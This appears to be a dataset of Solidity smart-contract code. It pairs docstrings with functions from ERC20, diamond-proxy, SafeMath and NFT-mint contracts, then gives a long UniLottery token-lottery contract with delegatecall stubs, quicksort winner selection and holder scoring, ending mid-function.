require(foundUnlockedSlot, "All decrease balance slots in use");
}
function increaseTotalSupply(uint256 amount) internal {
bool foundUnlockedSlot = false;
for (uint256 i = 0; i < erc20PallelizationFactor; i++) {
if (!isMapValueLocked(TOTAL_SUPPLY_ADD, i)) {
foundUnlockedSlot = true;
uint256 cur = getMapValue(TOTAL_SUPPLY_ADD, i);
setMapValue(TOTAL_SUPPLY_ADD, i, cur + amount);
break;
}
}
require(foundUnlockedSlot, "All increase total supply slots in use");
}
function decreaseTotalSupply(uint256 amount) internal {
bool foundUnlockedSlot = false;
for (uint256 i = 0; i < erc20PallelizationFactor; i++) {
if (!isMapValueLocked(TOTAL_SUPPLY_SUB, i)) {
foundUnlockedSlot = true;
uint256 cur = getMapValue(TOTAL_SUPPLY_SUB, i);
setMapValue(TOTAL_SUPPLY_SUB, i, cur + amount);
break;
}
}
require(foundUnlockedSlot, "All decrease total supply slots in use");
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
event ApprovalIncrease(
address indexed owner,
address indexed spender,
uint256 value
);
event ApprovalDecrease(
address indexed owner,
address indexed spender,
uint256 value
);
event TrustedBridge(address bridge, bool added);
}
|
* Balance assuming all provisional withdraws are applied and no provisional deposits are applied./ There are no checks for balance going negative as this should be impossible.
|
function balanceOfMin(address account) public view returns (uint256) {
uint256 acc = uint256(uint160(account));
uint256 balance = 0;
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
balance += getDoubleMapValueCommitted(BALANCES_ADD, acc, i);
}
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
balance -= getDoubleMapValueProvisional(BALANCES_SUB, acc, i);
}
return balance;
}
| 5,480,331
|
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./full_match/1/0xe63E8226095C7AE90D1e46636740d8A9998AD191/sources/contracts/LibDiamond.sol
|
These functions are expected to be called frequently by tools.
|
function diamondCut(
FacetCut[] calldata _diamondCut,
address _init,
bytes calldata _calldata
) external;
event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata);
}
struct Facet {
address facetAddress;
bytes4[] functionSelectors;
}
| 3,029,055
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./full_match/97/0xfD77CC4b5f5A745481747e93167C9B114dA5d539/sources/project_/contracts/ForzaPresale.sol
|
* @dev Returns the multiplication of two unsigned integers, with an overflow flag. _Available since v3.4._/ Gas optimization: this is cheaper than requiring 'a' not being zero, but the benefit is lost if 'b' is also tested. See: https:github.com/OpenZeppelin/openzeppelin-contracts/pull/522
|
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
| 3,284,182
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./full_match/1/0x41cB4a771FdD019ADBF4685bd4885fbBeedE1784/sources/contracts/EvilNoundlesVRF.sol
|
Mint your evil noundle. Verify request. Make sure that the wallet is holding at least 1 noundle. require(Originals.getNoundlesFromWallet(msg.sender).length > 0, "You must hold at least one Noundle to mint"); Burn the rainbows. Mark it as they already got theirs. Add to our free mint count. Mint it.
|
function claimEvilNoundle() public payable isPhaseOneStarted {
require(evilNoundleMint + 1 <= MAX_FREE_EVIL_MINTS, "We ran out of evil noundles :(");
require(evilNoundleAllowed[msg.sender], "You are not on whitelist");
require(evilNoundleMinted[msg.sender] == false, "You already minted your free noundle.");
Rainbows.burn(msg.sender, evilMintPriceRainbow);
evilNoundleMinted[msg.sender] = true;
evilNoundleMint += 1;
_handleMinting(msg.sender, __noundles, 1, true);
}
| 3,121,469
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pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
contract CoreUniLotterySettings
{
// Percentage calculations.
// As Solidity doesn't have floats, we have to use integers for
// percentage arithmetics.
// We set 1 percent to be equal to 1,000,000 - thus, we
// simulate 6 decimal points when computing percentages.
uint32 public constant PERCENT = 10 ** 6;
uint32 constant BASIS_POINT = PERCENT / 100;
uint32 constant _100PERCENT = 100 * PERCENT;
/** The UniLottery Owner's address.
*
* In the current version, The Owner has rights to:
* - Take up to 10% profit from every lottery.
* - Pool liquidity into the pool and remove it.
* - Start lotteries in auto or manual mode.
*/
// Public Testnets: 0xb13CB9BECcB034392F4c9Db44E23C3Fb5fd5dc63
// MainNet: 0x1Ae51bec001a4fA4E3b06A5AF2e0df33A79c01e2
address payable public constant OWNER_ADDRESS =
address( uint160( 0x1Ae51bec001a4fA4E3b06A5AF2e0df33A79c01e2 ) );
// Maximum lottery fee the owner can imburse on transfers.
uint32 constant MAX_OWNER_LOTTERY_FEE = 1 * PERCENT;
// Minimum amout of profit percentage that must be distributed
// to lottery winners.
uint32 constant MIN_WINNER_PROFIT_SHARE = 40 * PERCENT;
// Min & max profits the owner can take from lottery net profit.
uint32 constant MIN_OWNER_PROFITS = 3 * PERCENT;
uint32 constant MAX_OWNER_PROFITS = 10 * PERCENT;
// Min & max amount of lottery profits that the pool must get.
uint32 constant MIN_POOL_PROFITS = 10 * PERCENT;
uint32 constant MAX_POOL_PROFITS = 60 * PERCENT;
// Maximum lifetime of a lottery - 1 month (4 weeks).
uint32 constant MAX_LOTTERY_LIFETIME = 4 weeks;
// Callback gas requirements for a lottery's ending callback,
// and for the Pool's Scheduled Callback.
// Must be determined empirically.
uint32 constant LOTTERY_RAND_CALLBACK_GAS = 200000;
uint32 constant AUTO_MODE_SCHEDULED_CALLBACK_GAS = 3800431;
}
interface IUniswapRouter
{
// Get Factory and WETH addresses.
function factory() external pure returns (address);
function WETH() external pure returns (address);
// Create/add to a liquidity pair using ETH.
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline )
external
payable
returns (
uint amountToken,
uint amountETH,
uint liquidity
);
// Remove liquidity pair.
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline )
external
returns (
uint amountETH
);
// Get trade output amount, given an input.
function getAmountsOut(
uint amountIn,
address[] memory path )
external view
returns (
uint[] memory amounts
);
// Get trade input amount, given an output.
function getAmountsIn(
uint amountOut,
address[] memory path )
external view
returns (
uint[] memory amounts
);
}
interface IUniswapFactory
{
function getPair(
address tokenA,
address tokenB )
external view
returns ( address pair );
}
contract UniLotteryConfigGenerator
{
function getConfig()
external pure
returns( Lottery.LotteryConfig memory cfg )
{
cfg.initialFunds = 10 ether;
}
}
contract UniLotteryLotteryFactory
{
// Uniswap Router address on this network - passed to Lotteries on
// construction.
//ddress payable immutable uniRouterAddress;
// Delegate Contract for the Lottery, containing all logic code
// needed for deploying LotteryStubs.
// Deployed only once, on construction.
address payable immutable delegateContract;
// The Pool Address.
address payable poolAddress;
// The Lottery Storage Factory address, that the Lottery contracts use.
UniLotteryStorageFactory lotteryStorageFactory;
// Pool-Only modifier.
modifier poolOnly
{
require( msg.sender == poolAddress );
_;
}
// Constructor.
// Set the Uniswap Address, and deploy&lock the Delegate Code contract.
//
constructor( /*address payable _uniRouter*/ ) public
{
//uniRouterAddress = _uniRouter;
delegateContract = address( uint160( address( new Lottery() ) ) );
}
// Initialization function.
// Set the poolAddress as msg.sender, and lock it.
// Also, set the Lottery Storage Factory contract instance address.
function initialize( address _storageFactoryAddress )
external
{
require( poolAddress == address( 0 ) );
// Set the Pool's Address.
// Lock it. No more calls to this function will be executed.
poolAddress = msg.sender;
// Set the Storage Factory, and initialize it!
lotteryStorageFactory =
UniLotteryStorageFactory( _storageFactoryAddress );
lotteryStorageFactory.initialize();
}
/**
* Deploy a new Lottery Stub from the specified config.
* @param config - Lottery Config to be used (passed by the pool).
* @return newLottery - the newly deployed lottery stub.
*/
function createNewLottery(
Lottery.LotteryConfig memory config,
address randomnessProvider )
public
poolOnly
returns( address payable newLottery )
{
// Create new Lottery Storage, using storage factory.
// Populate the stub, by calling the "construct" function.
LotteryStub stub = new LotteryStub( delegateContract );
Lottery( address( stub ) ).construct(
config, poolAddress, randomnessProvider,
lotteryStorageFactory.createNewStorage() );
return address( stub );
}
}
contract LotteryStub
{
// ============ ERC20 token contract's storage ============ //
// ------- Slot ------- //
// Balances of token holders.
mapping (address => uint256) private _balances;
// ------- Slot ------- //
// Allowances of spenders for a specific token owner.
mapping (address => mapping (address => uint256)) private _allowances;
// ------- Slot ------- //
// Total supply of the token.
uint256 private _totalSupply;
// ============== Lottery contract's storage ============== //
// ------- Initial Slots ------- //
// The config which is passed to constructor.
Lottery.LotteryConfig internal cfg;
// ------- Slot ------- //
// The Lottery Storage contract, which stores all holder data,
// such as scores, referral tree data, etc.
LotteryStorage /*public*/ lotStorage;
// ------- Slot ------- //
// Pool address. Set on constructor from msg.sender.
address payable /*public*/ poolAddress;
// ------- Slot ------- //
// Randomness Provider address.
address /*public*/ randomnessProvider;
// ------- Slot ------- //
// Exchange address. In Uniswap mode, it's the Uniswap liquidity
// pair's address, where trades execute.
address /*public*/ exchangeAddress;
// Start date.
uint32 /*public*/ startDate;
// Completion (Mining Phase End) date.
uint32 /*public*/ completionDate;
// The date when Randomness Provider was called, requesting a
// random seed for the lottery finish.
// Also, when this variable becomes Non-Zero, it indicates that we're
// on Ending Stage Part One: waiting for the random seed.
uint32 finish_timeRandomSeedRequested;
// ------- Slot ------- //
// WETH address. Set by calling Router's getter, on constructor.
address WETHaddress;
// Is the WETH first or second token in our Uniswap Pair?
bool uniswap_ethFirst;
// If we are, or were before, on finishing stage, this is the
// probability of lottery going to Ending Stage on this transaction.
uint32 finishProbablity;
// Re-Entrancy Lock (Mutex).
// We protect for reentrancy in the Fund Transfer functions.
bool reEntrancyMutexLocked;
// On which stage we are currently.
uint8 /*public*/ lotteryStage;
// Indicator for whether the lottery fund gains have passed a
// minimum fund gain requirement.
// After that time point (when this bool is set), the token sells
// which could drop the fund value below the requirement, would
// be denied.
bool fundGainRequirementReached;
// The current step of the Mining Stage.
uint16 miningStep;
// If we're currently on Special Transfer Mode - that is, we allow
// direct transfers between parties even in NON-ACTIVE state.
bool specialTransferModeEnabled;
// ------- Slot ------- //
// Per-Transaction Pseudo-Random hash value (transferHashValue).
// This value is computed on every token transfer, by keccak'ing
// the last (current) transferHashValue, msg.sender, now, and
// transaction count.
//
// This is used on Finishing Stage, as a pseudo-random number,
// which is used to check if we should end the lottery (move to
// Ending Stage).
uint256 transferHashValue;
// ------- Slot ------- //
// On lottery end, get & store the lottery total ETH return
// (including initial funds), and profit amount.
uint128 /*public*/ ending_totalReturn;
uint128 /*public*/ ending_profitAmount;
// ------- Slot ------- //
// The mapping that contains TRUE for addresses that already claimed
// their lottery winner prizes.
// Used only in COMPLETION, on claimWinnerPrize(), to check if
// msg.sender has already claimed his prize.
mapping( address => bool ) /*public*/ prizeClaimersAddresses;
// =================== OUR CONTRACT'S OWN STORAGE =================== //
// The address of the delegate contract, containing actual logic.
address payable immutable public __delegateContract;
// =================== Functions =================== //
// Constructor.
// Just set the delegate's address.
constructor( address payable _delegateAddr )
public
{
__delegateContract = _delegateAddr;
}
// Fallback payable function, which delegates any call to our
// contract, into the delegate contract.
fallback()
external payable
{
// DelegateCall the delegate code contract.
( bool success, bytes memory data ) =
__delegateContract.delegatecall( msg.data );
// Use inline assembly to be able to return value from the fallback.
// (by default, returning a value from fallback is not possible,
// but it's still possible to manually copy data to the
// return buffer.
assembly
{
// delegatecall returns 0 (false) on error.
// Add 32 bytes to "data" pointer, because first slot (32 bytes)
// contains the length, and we use return value's length
// from returndatasize() opcode.
switch success
case 0 { revert( add( data, 32 ), returndatasize() ) }
default { return( add( data, 32 ), returndatasize() ) }
}
}
// Receive ether function.
receive() external payable
{ }
}
contract LotteryStorageStub
{
// =============== LotteryStorage contract's storage ================ //
// --------- Slot --------- //
// The Lottery address that this storage belongs to.
// Is set by the "initialize()", called by corresponding Lottery.
address lottery;
// The Random Seed, that was passed to us from Randomness Provider,
// or generated alternatively.
uint64 randomSeed;
// The actual number of winners that there will be. Set after
// completing the Winner Selection Algorithm.
uint16 numberOfWinners;
// Bool indicating if Winner Selection Algorithm has been executed.
bool algorithmCompleted;
// --------- Slot --------- //
// Winner Algorithm config. Specified in Initialization().
LotteryStorage.WinnerAlgorithmConfig algConfig;
// --------- Slot --------- //
// The Min-Max holder score storage.
LotteryStorage.MinMaxHolderScores minMaxScores;
// --------- Slot --------- //
// Array of holders.
address[] /*public*/ holders;
// --------- Slot --------- //
// Holder array indexes mapping, for O(1) array element access.
mapping( address => uint ) holderIndexes;
// --------- Slot --------- //
// Mapping of holder data.
mapping( address => LotteryStorage.HolderData ) /*public*/ holderData;
// --------- Slot --------- //
// Mapping of referral IDs to addresses of holders who generated
// those IDs.
mapping( uint256 => address ) referrers;
// --------- Slot --------- //
// The array of final-sorted winners (set after Winner Selection
// Algorithm completes), that contains the winners' indexes
// in the "holders" array, to save space.
//
// Notice that by using uint16, we can fit 16 items into one slot!
// So, if there are 160 winners, we only take up 10 slots, so
// only 20,000 * 10 = 200,000 gas gets consumed!
//
LotteryStorage.WinnerIndexStruct[] sortedWinnerIndexes;
// =================== OUR CONTRACT'S OWN STORAGE =================== //
// The address of the delegate contract, containing actual logic.
address immutable public __delegateContract;
// =================== Functions =================== //
// Constructor.
// Just set the delegate's address.
constructor( address _delegateAddr )
public
{
__delegateContract = _delegateAddr;
}
// Fallback function, which delegates any call to our
// contract, into the delegate contract.
fallback()
external
{
// DelegateCall the delegate code contract.
( bool success, bytes memory data ) =
__delegateContract.delegatecall( msg.data );
// Use inline assembly to be able to return value from the fallback.
// (by default, returning a value from fallback is not possible,
// but it's still possible to manually copy data to the
// return buffer.
assembly
{
// delegatecall returns 0 (false) on error.
// Add 32 bytes to "data" pointer, because first slot (32 bytes)
// contains the length, and we use return value's length
// from returndatasize() opcode.
switch success
case 0 { revert( add( data, 32 ), returndatasize() ) }
default { return( add( data, 32 ), returndatasize() ) }
}
}
}
interface IUniLotteryPool
{
function lotteryFinish( uint totalReturn, uint profitAmount )
external payable;
}
interface IRandomnessProvider
{
function requestRandomSeedForLotteryFinish() external;
}
contract LotteryStorage is CoreUniLotterySettings
{
// ==================== Structs & Constants ==================== //
// Struct of holder data & scores.
struct HolderData
{
// --------- Slot --------- //
// If this holder has generated his own referral ID, this is
// that ID. If he hasn't generated an ID, this is zero.
uint256 referralID;
// --------- Slot --------- //
// If this holder provided a valid referral ID, this is the
// address of a referrer - the user who generated the said
// referral ID.
address referrer;
// --------- Slot --------- //
// The intermediate score factor variables.
// Ether contributed: ( buys - sells ). Can be negative.
int80 etherContributed;
// Time x ether factor: (relativeTxTime * etherAmount).
int80 timeFactors;
// Token balance score factor of this holder - we use int,
// for easier computation of player scores in our algorithms.
int80 tokenBalance;
// Number of all child referrees, including multi-level ones.
// Updated by traversing child->parent way, incrementing
// every node's counter by one.
// Used in Winner Selection Algorithm, to determine how much
// to divide the accumulated referree scores by.
uint16 referreeCount;
// --------- Slot --------- //
// Accumulated referree score factors - ether contributed by
// all referrees, time factors, and token balances of all
// referrees.
// Can be negative!
int80 referree_etherContributed;
int80 referree_timeFactors;
int80 referree_tokenBalance;
// Bonus score points, which can be given in certain events,
// such as when player registers a valid referral ID.
int16 bonusScore;
}
// Final Score (end lottery score * randomValue) structure.
struct FinalScore
{
address addr; // 20 bytes \
uint16 holderIndex; // 2 bytes | = 30 bytes => 1 slot.
uint64 score; // 8 bytes /
}
// Winner Indexes structure - used to efficiently store Winner
// indexes in holder's array, after completing the Winner Selection
// Algorithm.
// To save Space, we store these in a struct, with uint16 array
// with 16 items - so this struct takes up excactly 1 slot.
struct WinnerIndexStruct
{
uint16[ 16 ] indexes;
}
// A structure which is used by Winner Selection algorithm,
// which is a subset of the LotteryConfig structure, containing
// only items necessary for executing the Winner Selection algorigm.
// More detailed member description can be found in LotteryConfig
// structure description.
// Takes up only one slot!
struct WinnerAlgorithmConfig
{
// --------- Slot --------- //
// Individual player max score parts.
int16 maxPlayerScore_etherContributed;
int16 maxPlayerScore_tokenHoldingAmount;
int16 maxPlayerScore_timeFactor;
int16 maxPlayerScore_refferalBonus;
// Number of lottery winners.
uint16 winnerCount;
// Score-To-Random ration data (as a rational ratio number).
// For example if 1:5, then scorePart = 1, and randPart = 5.
uint16 randRatio_scorePart;
uint16 randRatio_randPart;
// The Ending Algorithm type.
uint8 endingAlgoType;
}
// Structure containing the minimum and maximum values of
// holder intermediate scores.
// These values get updated on transfers during ACTIVE stage,
// when holders buy/sell tokens.
// Structure takes up only 2 slots!
//
struct MinMaxHolderScores
{
// --------- Slot --------- //
// Minimum & maximum values for each score factor.
// Updated for holders when they transfer tokens.
// Used in winner selection algorithm, to normalize the scores in
// a single loop, to avoid looping additional time to find min/max.
int80 holderScore_etherContributed_min;
int80 holderScore_etherContributed_max;
int80 holderScore_timeFactors_min;
// --------- Slot --------- //
int80 holderScore_timeFactors_max;
int80 holderScore_tokenBalance_min;
int80 holderScore_tokenBalance_max;
}
// ROOT_REFERRER constant.
// Used to prevent cyclic dependencies on referral tree.
address constant ROOT_REFERRER = address( 1 );
// Precision of division operations.
int constant PRECISION = 10000;
// Random number modulo to use when obtaining random numbers from
// the random seed + nonce, using keccak256.
// This is the maximum available Score Random Factor, plus one.
// By default, 10^9 (one billion).
//
uint constant RANDOM_MODULO = (10 ** 9);
// Maximum number of holders that the MinedWinnerSelection algorithm
// can process. Related to block gas limit.
uint constant MINEDSELECTION_MAX_NUMBER_OF_HOLDERS = 300;
// Maximum number of holders that the WinnerSelfValidation algorithm
// can process. Related to block gas limit.
uint constant SELFVALIDATION_MAX_NUMBER_OF_HOLDERS = 1200;
// ==================== State Variables ==================== //
// --------- Slot --------- //
// The Lottery address that this storage belongs to.
// Is set by the "initialize()", called by corresponding Lottery.
address lottery;
// The Random Seed, that was passed to us from Randomness Provider,
// or generated alternatively.
uint64 randomSeed;
// The actual number of winners that there will be. Set after
// completing the Winner Selection Algorithm.
uint16 numberOfWinners;
// Bool indicating if Winner Selection Algorithm has been executed.
bool algorithmCompleted;
// --------- Slot --------- //
// Winner Algorithm config. Specified in Initialization().
WinnerAlgorithmConfig algConfig;
// --------- Slot --------- //
// The Min-Max holder score storage.
MinMaxHolderScores public minMaxScores;
// --------- Slot --------- //
// Array of holders.
address[] public holders;
// --------- Slot --------- //
// Holder array indexes mapping, for O(1) array element access.
mapping( address => uint ) holderIndexes;
// --------- Slot --------- //
// Mapping of holder data.
mapping( address => HolderData ) public holderData;
// --------- Slot --------- //
// Mapping of referral IDs to addresses of holders who generated
// those IDs.
mapping( uint256 => address ) referrers;
// --------- Slot --------- //
// The array of final-sorted winners (set after Winner Selection
// Algorithm completes), that contains the winners' indexes
// in the "holders" array, to save space.
//
// Notice that by using uint16, we can fit 16 items into one slot!
// So, if there are 160 winners, we only take up 10 slots, so
// only 20,000 * 10 = 200,000 gas gets consumed!
//
WinnerIndexStruct[] sortedWinnerIndexes;
// ============== Internal (Private) Functions ============== //
// Lottery-Only modifier.
modifier lotteryOnly
{
require( msg.sender == address( lottery ) );
_;
}
// ============== [ BEGIN ] LOTTERY QUICKSORT FUNCTIONS ============== //
/**
* QuickSort and QuickSelect algorithm functionality code.
*
* These algorithms are used to find the lottery winners in
* an array of final random-factored scores.
* As the highest-scorers win, we need to sort an array to
* identify them.
*
* For this task, we use QuickSelect to partition array into
* winner part (elements with score larger than X, where X is
* n-th largest element, where n is number of winners),
* and others (non-winners), who are ignored to save computation
* power.
* Then we sort the winner part only, using QuickSort, and
* distribute prizes to winners accordingly.
*/
// Swap function used in QuickSort algorithms.
//
function QSort_swap( FinalScore[] memory list,
uint a, uint b )
internal pure
{
FinalScore memory tmp = list[ a ];
list[ a ] = list[ b ];
list[ b ] = tmp;
}
// Standard Hoare's partition scheme function, used for both
// QuickSort and QuickSelect.
//
function QSort_partition(
FinalScore[] memory list,
int lo, int hi )
internal pure
returns( int newPivotIndex )
{
uint64 pivot = list[ uint( hi + lo ) / 2 ].score;
int i = lo - 1;
int j = hi + 1;
while( true )
{
do {
i++;
} while( list[ uint( i ) ].score > pivot ) ;
do {
j--;
} while( list[ uint( j ) ].score < pivot ) ;
if( i >= j )
return j;
QSort_swap( list, uint( i ), uint( j ) );
}
}
// QuickSelect's Lomuto partition scheme.
//
function QSort_LomutoPartition(
FinalScore[] memory list,
uint left, uint right, uint pivotIndex )
internal pure
returns( uint newPivotIndex )
{
uint pivotValue = list[ pivotIndex ].score;
QSort_swap( list, pivotIndex, right ); // Move pivot to end
uint storeIndex = left;
for( uint i = left; i < right; i++ )
{
if( list[ i ].score > pivotValue ) {
QSort_swap( list, storeIndex, i );
storeIndex++;
}
}
// Move pivot to its final place, and return the pivot's index.
QSort_swap( list, right, storeIndex );
return storeIndex;
}
// QuickSelect algorithm (iterative).
//
function QSort_QuickSelect(
FinalScore[] memory list,
int left, int right, int k )
internal pure
returns( int indexOfK )
{
while( true ) {
if( left == right )
return left;
int pivotIndex = int( QSort_LomutoPartition( list,
uint(left), uint(right), uint(right) ) );
if( k == pivotIndex )
return k;
else if( k < pivotIndex )
right = pivotIndex - 1;
else
left = pivotIndex + 1;
}
}
// Standard QuickSort function.
//
function QSort_QuickSort(
FinalScore[] memory list,
int lo, int hi )
internal pure
{
if( lo < hi ) {
int p = QSort_partition( list, lo, hi );
QSort_QuickSort( list, lo, p );
QSort_QuickSort( list, p + 1, hi );
}
}
// ============== [ END ] LOTTERY QUICKSORT FUNCTIONS ============== //
// ------------ Ending Stage - Winner Selection Algorithm ------------ //
/**
* Compute the individual player score factors for a holder.
* Function split from the below one (ending_Stage_2), to avoid
* "Stack too Deep" errors.
*/
function computeHolderIndividualScores(
WinnerAlgorithmConfig memory cfg,
MinMaxHolderScores memory minMax,
HolderData memory hdata )
internal pure
returns( int individualScore )
{
// Normalize the scores, by subtracting minimum and dividing
// by maximum, to get the score values specified in cfg.
// Use precision of 100, then round.
//
// Notice that we're using int arithmetics, so division
// truncates. That's why we use PRECISION, to simulate
// rounding.
//
// This formula is better explained in example.
// In this example, we use variable abbreviations defined
// below, on formula's right side comments.
//
// Say, values are these in our example:
// e = 4, eMin = 1, eMax = 8, MS = 5, P = 10.
//
// So, let's calculate the score using the formula:
// ( ( ( (4 - 1) * 10 * 5 ) / (8 - 1) ) + (10 / 2) ) / 10 =
// ( ( ( 3 * 10 * 5 ) / 7 ) + 5 ) / 10 =
// ( ( 150 / 7 ) + 5 ) / 10 =
// ( ( 150 / 7 ) + 5 ) / 10 =
// ( 20 + 5 ) / 10 =
// 25 / 10 =
// [ 2.5 ] = 2
//
// So, with truncation, we see that for e = 4, the score
// is 2 out of 5 maximum.
// That's because the minimum ether contributed was 1, and
// maximum was 8.
// So, 4 stays below the middle, and gets a nicely rounded
// score of 2.
// Compute etherContributed.
int score_etherContributed = ( (
( ( hdata.etherContributed - // e
minMax.holderScore_etherContributed_min ) // eMin
* PRECISION * cfg.maxPlayerScore_etherContributed ) // P * MS
/ ( minMax.holderScore_etherContributed_max - // eMax
minMax.holderScore_etherContributed_min ) // eMin
) + (PRECISION / 2) ) / PRECISION;
// Compute timeFactors.
int score_timeFactors = ( (
( ( hdata.timeFactors - // e
minMax.holderScore_timeFactors_min ) // eMin
* PRECISION * cfg.maxPlayerScore_timeFactor ) // P * MS
/ ( minMax.holderScore_timeFactors_max - // eMax
minMax.holderScore_timeFactors_min ) // eMin
) + (PRECISION / 2) ) / PRECISION;
// Compute tokenBalance.
int score_tokenBalance = ( (
( ( hdata.tokenBalance - // e
minMax.holderScore_tokenBalance_min ) // eMin
* PRECISION * cfg.maxPlayerScore_tokenHoldingAmount )
/ ( minMax.holderScore_tokenBalance_max - // eMax
minMax.holderScore_tokenBalance_min ) // eMin
) + (PRECISION / 2) ) / PRECISION;
// Return the accumulated individual score (excluding referrees).
return score_etherContributed + score_timeFactors +
score_tokenBalance;
}
/**
* Split-function, to avoid "Stack-2-Deep" errors.
* Computes a single component of a Referree Score.
*/
/*function priv_computeSingleReferreeComponent(
int _referreeScore_,
int _maxPlayerScore_,
int _holderScore_min_x_refCount,
int _holderScore_max_x_refCount )
internal pure
returns( int score )
{
score = (
( PRECISION * _maxPlayerScore_ *
( _referreeScore_ - _holderScore_min_x_refCount ) )
/
( _holderScore_max_x_refCount - _holderScore_min_x_refCount )
);
}*/
/**
* Compute the unified Referree-Score of a player, who's got
* the accumulated factor-scores of all his referrees in his
* holderData structure.
*
* @param individualToReferralRatio - an int value, computed
* before starting the winner score computation loop, in
* the ending_Stage_2 initial part, to save computation
* time later.
* This is the ratio of the maximum available referral score,
* to the maximum available individual score, as defined in
* the config (for example, if max.ref.score is 20, and
* max.ind.score is 40, then the ratio is 20/40 = 0.5).
*
* We use this ratio to transform the computed accumulated
* referree individual scores to the standard referrer's
* score, by multiplying by that ratio.
*/
function computeReferreeScoresForHolder(
int individualToReferralRatio,
WinnerAlgorithmConfig memory cfg,
MinMaxHolderScores memory minMax,
HolderData memory hdata )
internal pure
returns( int unifiedReferreeScore )
{
// If number of referrees of this HODLer is Zero, then
// his referree score is also zero.
if( hdata.referreeCount == 0 )
return 0;
// Now, compute the Referree's Accumulated Scores.
//
// Here we use the same formula as when computing individual
// scores (in the function above), but we multiply the
// Min & Max known score value by the referree count, because
// the "referree_..." scores are accumulated scores of all
// referrees that that holder has.
// This way, we reach the uniform averaged score of all referrees,
// just like we do with individual scores.
//
// Also, we don't divide them by PRECISION, to accumulate and use
// the max-score-options in the main score computing function.
int refCount = int( hdata.referreeCount );
// Compute etherContributed.
int referreeScore_etherContributed = (
( ( hdata.referree_etherContributed -
minMax.holderScore_etherContributed_min * refCount )
* PRECISION * cfg.maxPlayerScore_etherContributed )
/ ( minMax.holderScore_etherContributed_max * refCount -
minMax.holderScore_etherContributed_min * refCount )
);
// Compute timeFactors.
int referreeScore_timeFactors = (
( ( hdata.referree_timeFactors -
minMax.holderScore_timeFactors_min * refCount )
* PRECISION * cfg.maxPlayerScore_timeFactor )
/ ( minMax.holderScore_timeFactors_max * refCount -
minMax.holderScore_timeFactors_min * refCount )
);
// Compute tokenBalance.
int referreeScore_tokenBalance = (
( ( hdata.referree_tokenBalance -
minMax.holderScore_tokenBalance_min * refCount )
* PRECISION * cfg.maxPlayerScore_tokenHoldingAmount )
/ ( minMax.holderScore_tokenBalance_max * refCount -
minMax.holderScore_tokenBalance_min * refCount )
);
// Accumulate 'em all !
// Then, multiply it by the ratio of all individual max scores
// (maxPlayerScore_etherContributed, timeFactor, tokenBalance),
// to the maxPlayerScore_refferalBonus.
// Use the same precision.
unifiedReferreeScore = int( ( (
( ( referreeScore_etherContributed +
referreeScore_timeFactors +
referreeScore_tokenBalance ) + (PRECISION / 2)
) / PRECISION
) * individualToReferralRatio
) / PRECISION );
}
// =================== PUBLIC FUNCTIONS =================== //
/**
* Update current holder's score with given change values, and
* Propagate the holder's current transfer's score changes
* through the referral chain, updating every parent referrer's
* accumulated referree scores, until the ROOT_REFERRER or zero
* address referrer is encountered.
*/
function updateAndPropagateScoreChanges(
address holder,
int80 etherContributed_change,
int80 timeFactors_change,
int80 tokenBalance_change )
public
lotteryOnly
{
// Update current holder's score.
holderData[ holder ].etherContributed += etherContributed_change;
holderData[ holder ].timeFactors += timeFactors_change;
holderData[ holder ].tokenBalance += tokenBalance_change;
// Check if scores are exceeding current min/max scores,
// and if so, update the min/max scores.
// etherContributed:
if( holderData[ holder ].etherContributed >
minMaxScores.holderScore_etherContributed_max )
minMaxScores.holderScore_etherContributed_max =
holderData[ holder ].etherContributed;
if( holderData[ holder ].etherContributed <
minMaxScores.holderScore_etherContributed_min )
minMaxScores.holderScore_etherContributed_min =
holderData[ holder ].etherContributed;
// timeFactors:
if( holderData[ holder ].timeFactors >
minMaxScores.holderScore_timeFactors_max )
minMaxScores.holderScore_timeFactors_max =
holderData[ holder ].timeFactors;
if( holderData[ holder ].timeFactors <
minMaxScores.holderScore_timeFactors_min )
minMaxScores.holderScore_timeFactors_min =
holderData[ holder ].timeFactors;
// tokenBalance:
if( holderData[ holder ].tokenBalance >
minMaxScores.holderScore_tokenBalance_max )
minMaxScores.holderScore_tokenBalance_max =
holderData[ holder ].tokenBalance;
if( holderData[ holder ].tokenBalance <
minMaxScores.holderScore_tokenBalance_min )
minMaxScores.holderScore_tokenBalance_min =
holderData[ holder ].tokenBalance;
// Propagate the score through the referral chain.
// Dive at maximum to the depth of 10, to avoid "Outta Gas"
// errors.
uint MAX_REFERRAL_DEPTH = 10;
uint depth = 0;
address referrerAddr = holderData[ holder ].referrer;
while( referrerAddr != ROOT_REFERRER &&
referrerAddr != address( 0 ) &&
depth < MAX_REFERRAL_DEPTH )
{
// Update this referrer's accumulated referree scores.
holderData[ referrerAddr ].referree_etherContributed +=
etherContributed_change;
holderData[ referrerAddr ].referree_timeFactors +=
timeFactors_change;
holderData[ referrerAddr ].referree_tokenBalance +=
tokenBalance_change;
// Move to the higher-level referrer.
referrerAddr = holderData[ referrerAddr ].referrer;
depth++;
}
}
/**
* Function executes the Lottery Winner Selection Algorithm,
* and writes the final, sorted array, containing winner rankings.
*
* This function is called from the Lottery's Mining Stage Step 2,
*
* This is the final function that lottery performs actively -
* and arguably the most important - because it determines
* lottery winners through Winner Selection Algorithm.
*
* The random seed must be already set, before calling this function.
*/
function executeWinnerSelectionAlgorithm()
public
lotteryOnly
{
// Copy the Winner Algo Config into memory, to avoid using
// 400-gas costing SLOAD every time we need to load something.
WinnerAlgorithmConfig memory cfg = algConfig;
